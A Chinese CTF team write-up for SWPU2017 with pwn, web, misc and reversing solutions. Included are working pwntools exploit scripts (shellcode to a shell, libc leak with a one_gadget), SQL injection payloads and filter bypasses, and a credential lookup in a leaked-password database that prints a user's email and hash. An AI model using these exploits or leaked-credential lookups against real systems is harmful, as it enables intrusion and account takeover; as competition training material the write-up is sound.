SWPU2017 Writeup
in WriteUP with 0 comment

SWPU2017 Writeup

in WriteUP with 0 comment

这次比赛打得还不错,另外膜一个大锤师父,Pwn题秒着秒着做。。。。直接盲打,简直可怕。

赛方的wp还没出,就先把我们队交上去的wp拿出来给大家。

队伍: Abyss Watchers

PWN

pwn100

这道题不想讲太多,非常简单的栈溢出,我本地getShell之后到服务器居然不能打,胡乱敲打了一下

pwn100_1

pwn150

输入直接保存在了bss,而且bss可执行,gets函数溢出,直接输入shellcode,然后覆盖返回地址到bss

#!/usr/bin/python
from pwn import *
import sys
HOST = '119.29.191.197'
PORT = 82
context(log_level='debug')

LOCAL = 0
REMOTE = 1
if LOCAL:
    io = process(EXCV)
if REMOTE:
    io = remote(HOST,PORT)
    
over_len = 0x68
bss = 0x601080
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

payload = shellcode
payload += 'a' * (over_len - len(payload))
payload += p64(bss)
io.sendline(payload)
io.recvrepeat(1)
io.interactive()

pwn250

通过泄漏栈上的libc_start_main发现libc版本是2.23,和我本地一样,于是就直接打了.

但是由于服务器上输入输出缓冲区的问题,导致我本地能泄漏的数据,服务器上需要多进行一次输入才会进行输出,所以最终的脚本加了很多重复的代码,直接上脚本

#!/usr/bin/python
from pwn import *
EXCV = './pwn3_dump'
HOST = '119.29.191.197'
PORT = 83
context(log_level='debug')

e = ELF(EXCV)

LOCAL = 0
REMOTE = 1
if LOCAL:
    io = process(EXCV)
    libc = e.libc
if REMOTE:
    io = remote(HOST,PORT)
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
start_addr = 0x400470
pad_len = 0x408
gets_got = e.got['gets']
gets_off = libc.symbols['gets']
execve_off = [0x4526a,0xcd0f3,0xcd1c8,0xf0274,0xf1117,0xf66c0]

payload = 'a'*(pad_len) + '\x70\x04\x40'.ljust(7,'\x00')
io.sendline(payload)
raw_input()
payload = "%17$s".ljust(8,' ')+p64(gets_got)
payload += 'a'*(pad_len-len(payload))
payload += p64(start_addr)
io.sendline(payload)
raw_input()
payload = 'a'*(pad_len) + '\x70\x04\x40'.ljust(7,'\x00')
io.sendline(payload)
raw_input()
io.recvuntil('Please input your ID:\n')
io.recvuntil('Please input your ID:\n',timeout = 1)
gets = u64(io.recvn(6).ljust(8,'\x00'))
libc_base = gets - gets_off
execve = libc_base + execve_off[4]
log.info("libc base : "+hex(libc_base))
raw_input()

payload = '\x00'*(pad_len) + '\x70\x04\x40'.ljust(7,'\x00')
io.sendline(payload)

raw_input()

payload = '\x00'*(pad_len) + '\x70\x04\x40'.ljust(7,'\x00')
io.sendline(payload)

payload  = ' '*pad_len
payload += p64(execve)
io.sendline(payload)

io.interactive()

Web

你能进入后台吗?

根据提示找到php_screw 解密工具https://github.com/amor-tsai/php_screw
源码中有key,改一下php_screw.h

#define PM9SCREW        "\txxooaa\t"
#define PM9SCREW_LEN     6

编译之后可以解密

index.php

 $str="select password from users where password='".md5($password,true)."'";

这行可以直接用ffifdyop 构造万能密码
http://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

师傅们一起来找flag

看到源码里js文件夹是/XXE/,然后尝试,最后payload:



flag{Th1s_1s_4_e4sy_xx3_!@#}

###web catch me if you can

社工题,主页有qq,查找到这个人之后在空间看到博客地址,之后跑出后台地址,发现需要用户名、密码登录,于是把博客下面的sonic2011扔到社工库找,得到数据,密码解密之后是2010sonic,登录得到flag。

数据2
邮箱:sonic@163.com
用户:sonic2011
密码:019157f2299755ad90a3bb8473f80325
来源:aipai

PS:给的链接居然有歌。。。还是延迟一段时间播放。。。我在上课的时候偷偷做题放出来了。。。贼尴尬。。感觉到你们满满的恶意

flag!flag

刚开始过滤可以用大小写绕过,把脚本都写好了,结果后面突然就不行了。。后面发现过滤绕不过去,所以在文件包含那里读了源码,看到check.php里面的内容:

function check_url()
{
    $url=parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    $key_word=array("union","select","and","or","from");
    foreach($query as $key)
    {
        foreach($key_word as $value)
        {
            if(preg_match("/".$value."/",$key))
            {
                die("don't attacked!!");
            }
        }
    }
}

刚开始一直不知道怎么绕,后面找到了一个文章http://mxny.org/post/ctf/2016-11-10,说是parse_url这个函数可以用////绕过,但是后来写好了脚本,就疯狂被ban。。。在群里吐槽之后出题人说可以把payload给他审,然后给我flag,所以就顺利的py到了flag。

当时发的payload:

http://39.106.13.2////web2/article_show_All.php?a_id=-1' or (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>0)-- -

flag{08067_Fl4g_tsfaxiewinli}

偷懒的出题人

利用http://blog.csdn.net/niexinming/article/details/52976923 得到id=*的注入

尝试在get和post中注入,不是网页没反应就是被waf拦下来。

在common.php中

foreach(Array("_POST","_GET","_COOKIE") as $key){
    foreach($$key as $k => $v){
        if(is_array($v)){
        die("hello,hacker!");
        }
        else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}

另外题目之前有一个nginx配置错误导致的文件泄露,猜测到可能是nginx反向代理会把畸形请求头映射为默认请求头。

两个点结合得到flag

1

MISC

###我有一顶可爱的小帽子想戴在你的头上,除非你坚持60s

跑到地图外面就进不来了,所以躲在角落里就好了

misc-程序员的情人节

题目名称极不友好,做题体验极差()。

至于解法嘛:

根据提示fl?g???,猜测是mp3stego隐写,提示是密码。猜测密码为flag+三位数,不然跑起来就太久了。

一跑果然是flag+三位数,得到密码:

flag522

1314的十六进制便是522。。。

拿密码去解便能得到flag的base64

misc-俄罗斯套娃

题如其名,贼麻烦。

第一步:zip伪加密,修改zip尾部的三个校验位。

得到三个文件

根据提示,key.txt为曼彻斯特编码,好的,上脚本:

from Crypto.Util.number import *

stream = open('key.txt','r')
stream2 = open('result_bin.txt','w')
stream3 = open('result_hex.txt','w')
bin_list = []
hex_list = []
i = 0
bin_line = ''
bin_line = stream.readline()
while(bin_line):
    print bin_line
    r=""
    h=""
    while(bin_line != ''):
        tmp_bin = bin_line[0:2]
        if tmp_bin == '01':
            r += '1'
        else:
            r += '0'
        bin_line = bin_line[2:]
    bin_list.append(r+'\n')
    hex_list.append(hex(int(r,2)).upper()+'\n')
    bin_line = stream.readline()
    i += 1

print i
stream2.writelines(bin_list)
stream3.writelines(hex_list)

stream.close()
stream2.close()
stream3.close()

又获得一串01010,一开始没想到,后来放大一看发现是个二维码:

简单还原后扫码得一串颜文字,明显的aaencode,传统操作解完得:

O42G4*3MOUYGYMJUJZGT*TTHGEYDCM*7KNQWSS*POU======

显然是缺损的base32,这里被小小的坑了一下。后来直接拿base32缺省的四位做成字典去跑流量包,得到正确的wifi密码:

O42G4R3MOUYGYMJUJZGTGTTHGEYDCM27KNQWSS3POU======

拿解开base32后的值去解zip即获得flag

misc-爆照

拿到题想都不想先binwalk跑一下,得到一串文件,看文件头随意加了几个后缀。

一开始看到那张gif还以为是排序,结果用ps分解后发现根本就是排好的。

直接说思路:

根据提示???_???_???可知flag需要三个字符串。

在文件8的末尾找到第一个字符串flag,推测这不是flag本体。

文件88(按jpg格式打开)中直接有一个二维码,扫码得第二个字符串bilibili

文件888右击后在备注中发现一串base64,解码得第三个字符串silisili

文件8888用binwalk跑一下发现里面有一个zip,解压获得一个二维码,扫码得第四个字符串panama

按提示中的格式拼接即得flag。

Re

re50

50分的题,没考虑太多,直接打开。直接call 08067 显示flag

re50_1

re100

首先获取输入,下断文本框消息获取函数,往下发现判断字符串长度的地方,长度为16位

构造输入1234567890ABCDEF

发现两个函数调用,第二个调用是算法主体

这里没有加密变换,仅仅将字符的位置调换,调换之后为

对比字符

倒推关系即可拿到flag:flag{H1Y@D1708067S1m3}

re100(APK)

程序只要求输入password,拖进jeb查看.

re100(APK)_1

用了一个native函数

解压apk,找到.so文件,拖进ida

re100(APK)_2

password就是 "KnAvE"

re200

打开是个游戏,拖进IDA看到了一个比较关键的字符串

re200_1

通过交叉引用跳过去发现了一个函数

re200_2

很可能是flag的生成位置,继续跟进

re200_3

代码不多不少,直接复制代码,,稍微修改一下,给五个参数赋值,最后加一个打印,编译运行一下.

re200_4

Responses